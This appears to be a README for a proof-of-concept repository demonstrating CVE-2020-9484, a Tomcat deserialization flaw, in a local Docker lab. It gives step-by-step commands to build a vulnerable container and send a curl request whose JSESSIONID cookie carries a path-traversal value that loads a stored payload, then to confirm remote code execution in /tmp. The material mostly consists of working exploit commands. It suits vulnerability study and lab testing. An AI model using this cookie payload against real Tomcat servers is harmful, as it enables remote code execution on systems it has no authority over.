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CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.

Run

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

Check (clean)

$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce NOT in output)

Exploit

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Check (exploited)

$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce IS in output)